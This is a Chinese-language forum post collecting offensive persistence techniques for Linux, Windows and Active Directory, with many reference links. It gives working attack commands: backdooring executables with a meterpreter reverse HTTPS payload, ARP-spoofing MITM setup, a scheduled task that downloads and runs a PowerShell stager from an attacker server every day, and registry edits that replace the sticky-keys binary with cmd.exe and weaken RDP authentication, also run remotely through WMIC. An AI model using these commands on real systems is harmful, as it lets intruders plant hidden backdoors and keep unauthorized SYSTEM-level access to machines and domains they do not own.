吉沃运营专员 发表于 2022-3-10 11:53:52

持久化

一、参考指南

[*]AlphasecLabs Persistence Guide
[*]PayloadsAllTheThings/Linux-Persistence
[*]PayloadsAllTheThings/Windows-Persistence
[*]https://www.ired.team/offensive-security/persistence
[*]https://www.blackhillsinfosec.com/backdoors-breaches-logon-scripts/
[*]https://offlinemark.com/2021/05/12/an-obscure-quirk-of-proc/
[*]Code Caves

[*]https://haiderm.com/fully-undetectable-backdooring-pe-file/#Code_Caves

[*]https://www.infosecmatter.com/terminal-escape-injection/
[*]http://pwnwiki.io/#!persistence/windows/autostart.md - Windows 自启动位置
[*]Common Registry locations for Persistence - PTFM: - pg. 24
[*]PTFM:Persistence with Metasploit/Empire - pg. 26

二、工具
2.1 BackDoorFactory
BDF 的目标是使用用户所需的 shellcode 来 patch 可执行二进制文件,并继续正常执行 pre-patch 状态。

[*]可以通过搜索开放共享找到最常用的二进制文件

[*]从受害者的命令 shell 开始
[*]下一步找到用户有权访问的网络上的所有共享
Powershell.exe “IEX (New-Object Net.WebClient).DownloadString('https://raw/githubusercontent.com/cheetz/PowerTools/master/PowerView/powerview.ps1'); Invoke-ShareFinder -ExcludeIPC -ExcludePrint -CheckShareAccess | Out-File -Encoding ascii found_shares.txt”[*]下一步从共享中获取输出并开始枚举所有可执行文件并找到 LastAccessTime 和 LastWriteTime
Powershell.exe “IEX (New-Object Net.WebClient).DownloadString('https://raw/githubusercontent.com/cheetz/PowerTools/master/PowerView/powerview.ps1'); Invoke-FileFinder -ShareList .\found_shares.txt -FreshEXEs -ExcludeHidden -CheckWriteAccess"[*]现在获取你选择的二进制文件的副本,对于以下示例,将选择 procmon.exe
#cd /opt/the-backdoor-factory
./backdoor.py -f ~/Desktop/Procmon.exe -s meterpreter_reverse_https -H -P 8080[*]一旦执行了 backdoor.py,现在你需要找到一个 Code Cave 来保存你的 shell 代码
[*]一旦找到一个有效的 cave,按 "a" 来附加你的代码,完成后,BDF 会将新的 exe 放入到文件夹中被当作后门
[*]现在取出该文件并将其放回文件共享中

[*]Setup - MITM

[*]运行 BDFProxy
#bdfproxy[*]BDFProxy 将创建一个 metasploit 资源文件
#msfconsole -r /usr/share/bdfproxy/bdfproxy_msf_resource.rc[*]还需要配置防火墙以通过 mitmproxy 转发所有 http 流量
#sysctl -w net.ipv4.ip_forward=1
#iptables -t nat -a PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080[*]最后使用 arpspoofing 配置受害者主机以通过我们的机器进行路由
#arpspoof -i eth0
#arpspoof -i eth0
2.2 其它工具

[*]Egress Buster - EgressBuster 是一种测试单个区域的出口过滤有效性的方法
[*]Sharpersist - 用 C# 编写的 Windows 持久化工具包

[*]https://github.com/fireeye/SharPersist/wiki

[*]chromebackdoor - Chromebackdoor 是一款渗透测试工具的 PoC,该工具使用 MITB 技术在启动后生成一个 Windows 可执行文件 ".exe",在大多数流行的浏览器上运行恶意扩展程序或脚本,并发送所有 DOM 数据以进行命令和控制
[*]Cymothoa - Cymothoa 是一种隐形后门工具,可将后门的 shellcode 注入现有进程,该工具使用 ptrace 库 (几乎所有 * nix 都可用) 来操纵进程并感染它们

三、Linux
3.1 Services

[*]在 /etc/init.d/service 创建一个 Bash 初始化脚本
[*]接下来运行 #sudo update-rc.d service enable
[*]这将在运行级别目录 2-5 中创建一个符号链接
[*]接下来在 /etc/inittab 中添加以下 respawn 命令

[*]→ id:2345:respawn:/bin/sh /path/to/application/startup

[*]最后启动和停止服务

[*]→ #sudo service service stop
[*] → #sudo service service start

[*]PTFM: .Service Persistence - pg. 88

3.2 systemd

[*]linux 发行版的默认初始化守护程序
[*]向后兼容 System V 命令和初始化脚本
[*]确保服务具有 systemd 初始化脚本 @ /etc/systemd/system/multi-user.target.wants/service.service
[*]启动服务 # sudo systemctl enable service.service
[*]在文件 /etc/ 的 部分下添加 "Restart=always"
[*]systemd/system/multi-user.target.wants/service.service

3.3 Cron

[*]可供没有 root 访问权限的用户用来安排任务
[*]PTFM: Cron Job Persistence - pg. 88

3.4 初始化文件

[*]登录后,所有与 Bourne 兼容的 shell 都获取 /etc/profile,而后者又获取 /etc/profile.d/ 中任何可读的 *.sh 文件
[*]这些脚本不需要解释器,也不需要可执行

3.5 图形环境

[*]Gnome 和 KDE 图形启动代码

[*]Rootkits
3.6 .bashrc and .bash_profile

[*]PTFM: .bashrc and .bash_profile Persistence - pg. 87

3.7 PHP Web Shell

[*]PTFM: Web Shell Persistence - pg. 87

四、Windows

[*]http://pwnwiki.io/#!persistence/windows/general.md - 常规 Windows 持久化命令

4.1 定时任务持久化

[*]RTFM: Task Scheduler Persistence - pg. 32
[*]PTFM:Task Scheduler - pg. 25
[*]我们可以使用 Metasploit 将 schtask 配置为每天运行一次以连接回我们的 Meterpreter 处理程序
[*]首先获取并修改一个 invoke-shellcode 的副本

[*]#cd /opt/PowerSploit/CodeExecution
[*]#cp Invoke-Shellcode.ps1 1.ps1

[*]接下来编辑脚本以添加 shell 信息

[*]填写监听器 IP 和端口时添加以下行
[*]# invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost -Lport -Force

[*]现在有了一个缩短的 invoke-shellcode 脚本,并且可以将文件移至 Web 服务器

[*]#cp 1.ps1/var/www/
[*]#service apache2 start

[*]通过访问 htt[:///1.ps1 进行验证
[*]现在我们向 schtasks 添加一个命令,该命令每天下载并运行目标脚本
#schtasks /create /tn /tr “c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -NoLogo -WindowStyle hidden -Noninteractive -ep bypass -nop -c ‘IEX ((new-object net.webclient).downloadstring(’ ‘http:///1.ps1’ ‘ ’))' " /SC DAILY /ST 12:00:00[*]Options

[*]如果你有系统权限,那么就可以在 SYSTEM 下运行它,在上述命令中添加 "/ru System"
[*]如果你正在攻击 32 位系统,请将 schtask 中的 powershell 位置更改为 "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe"
4.2 粘滞键持久化

[*]利用粘滞键功能将粘滞键 exe 替换为 shell
[*]通过更改注册表设置完成

[*]>REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /V Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
[*]>REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0
[*]>REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0

[*]可能还需要添加

[*]>netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
[*]>REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer" /v fDenyTSConnections /t REG_DWORD /d 0 /f

[*]通过 WMIC 执行上述操作

[*]>wmic /user: /password: /node: process call create "C:\Windows\system32\reg.exe ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d \ "C:\windows\system32\cmd.exe\" /f"
[*]>wmic /user: /password: /node: process call create "C:\Windows\system32\reg.exe ADD "HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp\" /v UserAuthentication /t REG_DWORD /d 0 /f"
[*]>wmic /user: /password: /node: process call create "C:\Windows\system32\reg.exe REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp\" /v SecurityLayer /t REG_DWORD /d 0 /f"

[*]如果使用 kerberos,我们可以将用户名和密码替换为 /authority:"Kerberos:\"

4.3 Windows 辅助功能

[*]实现持久化的一种常见、低技能的方法是将 Windows 辅助功能的二进制文件替换为它们自己的恶意二进制文件,或者只是 Windows 'cmd.exe' 的重命名副本
[*]当用户尝试使用辅助功能 (例如粘滞键) 时,将执行 "sethc.exe" 二进制文件,攻击者可能已将其替换为 "cmd.exe",结果是用户将看到一个 Windows 命令提示符
[*]由于桌面和服务器的锁定屏幕提供了 Windows 辅助功能,因此无需任何凭据即可触发它们,并且由于没有用户登录到机器,Windows 不知道谁应该触发二进制文件,因此,恶意二进制文件将在 SYSTEM 帐户的上下文中运行。启用 RDP 的桌面和服务器增加了攻击者能够远程触发持久化机制的风险
[*]辅助功能的二进制文件位于 C:\Windows\System32\

[*]sethc.exe – Sticky Keys

[*]Magnify.exe – Magnifier
[*]toolosk.exe – On-Screen Keyboard
[*]Narrator.exe – Narrator
[*]DisplaySwitch.exe – Display Switcher
[*]AtBroker.exe – App Switcher


[*]Image File Execution Option (IFEO) 功能允许将调试密钥添加到注册表中,这会导致在启动目标时执行调试二进制文件

[*]SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<Target binary>
[*]然后,此注册表项添加名为 "Debugger" 的字符串值 (REG_SZ),其值包含路径和二进制名称,即 "C:\Users\Administrator\Malware.exe"
4.4 注册表注入

[*]攻击者可以通过利用 Windows 操作系统的合法功能在目标计算机上获得持久化的巧妙方法
[*]以你选择的任何形式 (通常是 exe) 将 stager 注入目标注册表位置
[*]PTFM:Registry Injection - pg. 25

Image File Execution Options Injection - IFEO


[*]镜像文件执行选项 (IFEO) 注册表项是开发人员常用的 Windows 功能,用于将调试器附加到他们的应用程序
[*]IFEO 可以通过注册表或 GlobalFlags (gflags.exe) 直接设置,该应用程序是 Windows 10 SDK 的一部分

[*]HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

[*]IFEO 还可以使监视器程序在另一个程序的静默退出时启动 (由自身或第二个非内核模式进程提前终止)

[*]HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit

[*]用户可以在关闭另一个应用程序后执行任何二进制文件,或者在打开另一个应用程序时执行任何二进制文件作为调试器。这意味着,如果攻击者能够访问目标机器,他们可以滥用这些值来获得持久化和权限提升,方法是植入恶意可执行文件,以便在指定程序 (即 notepad.exe) 打开时加载和运行/关闭
[*]如果以这种方式隐藏,注入的 .exe 将需要专门编译为 Windows 服务,否则操作系统将杀死它
[*]另一种方法是让 stager 删除 DLL 而不是 EXE,并使用 rundll32 从注册表项中引用它
[*]>RUNDLL32.exe dllnameentrypoint
[*]可以在注册表中存储和运行 Javascript

4.4 DLL 搜索顺序劫持

[*]DLLHijackingScanner - 这是一个使用 DLL 劫持和滥用 "可信目录" 验证绕过 UAC 的 PoC
[*]https://securityonline.info/dllhijackingscanner-bypassing-uac-using-dll-hijacking/
[*]Rattler - Rattler 是一种自动识别 DLL 的工具,可用于 DLL 预加载攻击

[*]https://sensepost.com/blog/2016/rattleridentifying-and-exploiting-dll-preloading-vulnerabilities/

[*]DLLHijackTest - 帮助查找 DLL 劫持的 DLL 和 PowerShell 脚本
[*]Robber - Robber 是一个开源工具,用于查找容易被 DLL 劫持的可执行文件
[*]https://hakin9.org/robber-is-open-source-tool-for-finding-executables-prone-to-dll-hijacking/
[*]https://www.blackhillsinfosec.com/digging-deeper-vulnerable-windows-services/
[*]https://attack.mitre.org/techniques/T1574/001/
[*]DLL Search Order Hijacking - PTFM:- pg. 25

4.5 Application Shimming

[*]https://liberty-shell.com/sec/2020/02/25/shim-persistence/
[*]https://docs.microsoft.com/en-us/windows-hardware/get-started/adk-install

五、AD Persistence
5.1 Golden Ticket

[*]Golden Ticket
[*]Kerberos Golden Tickets are Now More Golden

5.2 SID 历史

[*]Sneaky Active Directory Persistence #14: SID History

5.3 Silver Ticket

[*]How Attackers Use Kerberos Silver Tickets to Exploit Systems
[*]Sneaky Active Directory Persistence #16: Computer Accounts & Domain Controller Silver Tickets

5.4 DCShadow

[*]Creating Persistence With Dcshadow

5.5 AdminSDHolder

[*]Sneaky Active Directory Persistence #15: Leverage AdminSDHolder & SDProp to (Re)Gain Domain Admin Rights
[*]Persistence Using Adminsdholder And Sdprop

5.6 Group Policy Object

[*]Sneaky Active Directory Persistence #17: Group Policy

5.7 Skeleton Keys

[*]Unlocking All The Doors To Active Directory With The Skeleton Key Attack
[*]Skeleton Key
[*]Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest

5.8 SeEnableDelegationPrivilege

[*]The Most Dangerous User Right You (Probably) Have Never Heard Of
[*]SeEnableDelegationPrivilege Active Directory Backdoor

5.9 Security Support Provider

[*]Sneaky Active Directory Persistence #12: Malicious Security Support Provider (SSP)

5.10 Directory Services Restore Mode

[*]Sneaky Active Directory Persistence #11: Directory Service Restore Mode (DSRM)
[*]Sneaky Active Directory Persistence #13: DSRM Persistence v2

5.11 ACLs & Security Descriptors

[*]An ACE Up the Sleeve: Designing Active Directory DACL Backdoors
[*]Shadow Admins – The Stealthy Accounts That You Should Fear The Most
[*]The Unintended Risks of Trusting Active Directory
[*]HarmJ0y/DAMP - 自主 ACL 修改项目:通过基于主机的安全描述符修改实现持久化
页: [1]
查看完整版本: 持久化